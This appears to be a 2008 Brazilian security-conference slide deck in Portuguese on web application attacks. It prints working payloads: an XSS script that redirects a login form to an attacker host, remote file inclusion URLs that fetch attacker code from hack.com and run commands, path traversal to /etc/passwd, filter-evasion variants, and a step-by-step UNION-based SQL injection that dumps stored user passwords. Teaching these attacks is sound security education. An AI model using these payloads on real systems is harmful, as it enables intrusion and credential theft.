You are on page 1of 50

Maycon Maia Vitali ( 0ut0fBound )

mayconmaia@yahoo.com.br
Sobre o palestrante
Pra que segurana?
Ataques de Cross-Site-Script (XSS)
Ataques de File Include
Ataques de SQL Injection
Mecanismos de proteo (funcionam?)
Ataques planejados (avanado)
Tcnicas de evaso
Exemplos reais
Maycon Maia Vitali
Graduando em Cincia da Computao no
Centro Universitrio Vila Velha
No possui certificao Microsoft
No possui certificao Linux
No possui certificao Java
No possui certificao em Bando de Dados
No possui certificao em Redes
No possui certificao em Segurana da
Informao
Autodidata em segurana da informao;
Analista Pen-test (free-lancer) para diversas
empresas/Tigers Team;
Escritor de artigos tcnicos envolvendo segurana
da informao;
Palestrantes em diversos eventos tecnolgico como
H2HC, Encasoft, Code Breakers Meeting, etc;
Desenvolvedor de ferramentas de auditoria de
segurana;
Tambm conhecido como 0ut0fBound.
Escrita de exploits
Escrita e otimizao de shellcodes
Ataques web
Tcnicas de evaso
Engenharia Reversa (anlise de malwares)
Sistemas de Deteco de Intruso
Qualquer coisa que tenha Baixaria
Por prazer (hobby)
Necessidade pessoal ou corporativa
Para estar um passo a frente (contra 0-day)
Hackn Roll
Maldita incluso digital
Se uma coisa pode dar errada de 4 maneiras
possveis e voc consegue driblar as 4, quer
dizer que na verdade eram 5 - Murphy
Citao 1
Toda entrada mal intencionada at que se
provm ao contrrio

Citao 2
O sistema esta seguro at que se provem ao
contrrio
Permite ao atacante executar cdigo Client-Side
(JavaScript?) no browser da vtima
Impacto irrelevante em ataques no planejados
Trabalho em conjunto com Engenharia Social
(Porque no existe patch pra estupidez humana)
Com sucesso absoluto, permite fazer Session
Hijacking
Varivel busca no passar por nenhum tipo
de filtro ou tratamento antes de retornar ao
navegador do usurio
Para sucesso o ataque deve ser planejado e com
Engenharia Social
http:/www.empresa.com/busca.php?busca=<
script>document.frmLogin.action=http://ww
w.hacker.com/fake_login.php</script>

Session Hijacking

XMLHttpRequest (Ajax?) seu amigo!!


Soluo de deteco/preveno de intruso
Snort ( qualquer dvida fale com Sp0oker )

Investir em desenvolvimento seguro


Tambm conhecida por PHP Injection
Consiste em alterar o valor de variveis que so
passadas como parmetros para a funo
include(_once) ou require(_once)
Impacto significante no servidor;
Por causa de uma falha todo o servidor pode
ser comprometido;
http://www.site.com.br/index.php?pagina=historia
http://www.site.com.br/index.php?pagina=contato
Efetua Ataque GET b4d_c0de.txt

Hackn Roll Cdigo Malfico

Servidor da Servidor do
Empresa Atacante
/index.php?pagina=http://www.hack.com/b4d_c0
de.txt? &cmd=id

http://www.hack.com/b4d_c0de.txt?.php
Filtrar assinaturas de ataques.
Filtrar assinaturas de ataques.

pagina=HTTP://www.hack.com/b4d_c0de.txt?
Filtrar assinaturas de ataques.
Filtrar assinaturas de ataques.

pagina=https://www.hack.com/b4d_c0de.txt?
pagina=ftp://ftp.hack.com/b4d_c0de.txt%00
Filtrar assinaturas de ataques.
Filtrar assinaturas de ataques.

pagina=\\samba_hacker\b4d_c0de.txt%00
HTTP and HTTPS
FTP and FTPS
PHP input/output streams
Compression Streams
Data (RFC 2397)
Glob
Secure Shell 2
Audio Streams
Process Interaction Streams
http://br2.php.net/manual/en/filesystem.con
figuration.php#ini.allow-url-fopen

allow_url_fopen=off
http://br2.php.net/manual/en/filesystem.con
figuration.php#ini.allow-url-fopen

allow_url_fopen=off
pagina=../../../../../etc/passwd%00
Existem outras solues boas e seguras.
Ocorre quando possvel inserir (injetar)
cdigos SQL em uma aplicao a partir de
informaes fornecidas pelo usurio
Permite ler dados sensveis do Banco de Dados
Permite modificar dados do Banco de Dados
(insert/delete/update)
Permite executar comandos administrativos do
Banco de Dados (ex: shutdown)
Em alguns casos, permite executar comandos
no Sistema Operacional.
Como o valor digitado no passou por nenhum
tipo de filtro um atacante pode injetar cdigos
SQL alterando a lgica da consulta.
Usurio: or =
Senha: or =
Usurio: UNION SELECT hacker,h4ck3r
Senha: h4ck3r

Senha

Usurio

A primeira consulta no retorna nenhum registro


enquanto a segunda retorna um registro criado na
mo.
Funo addslashes()

Configurao magic_quotes (DEPRECATED and REMOVED as of PHP 6.0.0)

Ser o FIM dos ataques de SQL Injection ?


Toda entrada mal intencionada
Planejamento para um ataque complexo
Blind SQL Injection
Dump do Banco de Dados
Saber programao e conhecimento do
protocolo HTTP ajuda muito!!
Utilizao de ferramentas auxiliares ( nada de
clique e invada )
Voc no foi o programador (designer?), logo
no sabe como est estruturado
Fazer a enumerao dos possveis links e suas
variveis
www.empresa.com.br/noticias.php?id=2871
www.empresa.com.br/busca.php?chave=oi&pag=2
www.empresa.com.br/noticia/2871/titulo-noticia

Em casos de perfumarias (ajax?) ferramentas


como FireBug e WebDeveloper podem auxiliar
Levantar se alguns dos campos possui uma
vulnerabilidade de SQL Injection:

www.empresa.com.br/noticias.php?id=2871
www.empresa.com.br/noticias.php?id=2870+1
www.empresa.com.br/noticias.php?id=2871
www.empresa.com.br/noticias.php?id=2871 --
www.empresa.com.br/noticias.php?id=2871
www.empresa.com.br/noticias.php?id=2871) --

No retornar um aviso de campo invlido ou


tentativa de invaso(?) sugere a possibilidade de
uma falha.
/noticias.php?id=2871 order by 50 -- Errado

/noticias.php?id=2871 order by 25 -- Errado


/noticias.php?id=2871 order by 12 -- Certo
/noticias.php?id=2871 order by 19 -- Errado
/noticias.php?id=2871 order by 15 -- Errado
/noticias.php?id=2871 order by 13 -- Certo

/noticias.php?id=2871 order by 14 -- Errado

Total de colunas na consulta original: 13


/noticias.php?id=0 union select
1,2,3,4,5,6,7,8,9,10,11,12,13 --

ENCASOFT 2008 Leomar V. 3 6


A Linux-ES, comunidade de usurios de 7
Software Livre do Esprito Santo, tem o
prazer de anunciar a quarta edio do
Encontro Capixaba de Software Livre
ENCASOFT 2008. O evento ser realizado
nos dias 10 e 11 de outubro (sexta e
sbado), no Centro Universitrio Vila-Velha
(UVV), Vila-Velha-ES.
J temos um vetor de ataque.
J sabemos quantas colunas a consulta possui.
J sabemos quais colunas so visveis.

O que falta?
Nomes de tabelas e nomes de campos

Como conseguir?
Brute-Force (usuarios, tb_usuarios, logins, acesso, etc)
INFORMATION_SCHEMA seu melhor amigo.
/noticias.php?id=0 union select 1, 2, TABLE_NAME, 4, 5, 6, 7, 8,
9, 10, 11, 12, 13 FROM INFORMATION_SCHEMA.TABLES --

/noticias.php?id=0 union select 1, 2, TABLE_NAME, 4, 5, 6, 7, 8,


9, 10, 11, 12, 13 FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME NOT IN (tab_noticia) --

tab_noticia 6 tab_newsletter 6
7 7
/noticias.php?id=0 union select 1, 2, TABLE_NAME, 4, 5, 6, 7, 8,
9, 10, 11, 12, 13 FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME NOT IN (CHAR(116, 98, 95, 110, 111, 116,
105, 99, 105, 97)) --

Char ASCii tab_newsletter 6


t 116 7
b 98
_ 95
n 110
o 111
t 116
i 105
c 99
i 105
a 97
/noticias.php?id=0 union select 1, 2, TABLE_NAME, 4, 5, 6, 7, 8,
9, 10, 11, 12, 13 FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME LIKE %usu% --

tab_usuario 6
7
/noticias.php?id=0 union select 1, 2, COLUMN_NAME, 4, 5, 6, 7,
8, 9, 10, 11, 12, 13 from INFORMATION_SCHEMA.COLUNMS
where TABLE_NAME = tb_usuario --

/noticias.php?id=0 union select 1, 2, COLUMN_NAME, 4, 5, 6, 7,


8, 9, 10, 11, 12, 13 from INFORMATION_SCHEMA.COLUNMS
where TABLE_NAME = tb_usuario and COLUMN_NAME not
in (usu_id) --
usu_id 6 usu_login 6
7 7
/noticias.php?id=0 union select 1, 2, TABLE_NAME, 4,
5, 6, COLUMN_NAME, 8, 9, 10, 11, 12, 13 from
INFORMATION_SCHEMA.COLUNMS where
COLUMN_NAME like %senha% --

tb_usuario 6

usu_senha
Tendo o nome da tabela e seus respectivos
campos de login/senha:
/noticias.php?id=0 union select 1, 2, usu_login, 4, 5,
6, usu_senha, 8, 9, 10, 11, 12, 13 from tb_usuarios --

admin 6

123456
Duas linhas de cdigo em troca de muuuuita
muuuita dor de cabea, perda de dinheiro e de
clientes.
Verificar por triggers ou store procedures que
facilitem o trabalho;

Verifiquem que nvel de permisso possui


(xp.dbo.cmd_shell seu amigo);

Procure por outros vetores de ataques, visto que


falhas com listagem de resposta viabiliza mais o
sucesso e em menos tempo;

No caso de brute-force tente procurar por padres;


Maycon Maia Vitali ( 0ut0fBound )
mayconmaia@yahoo.com.br

You might also like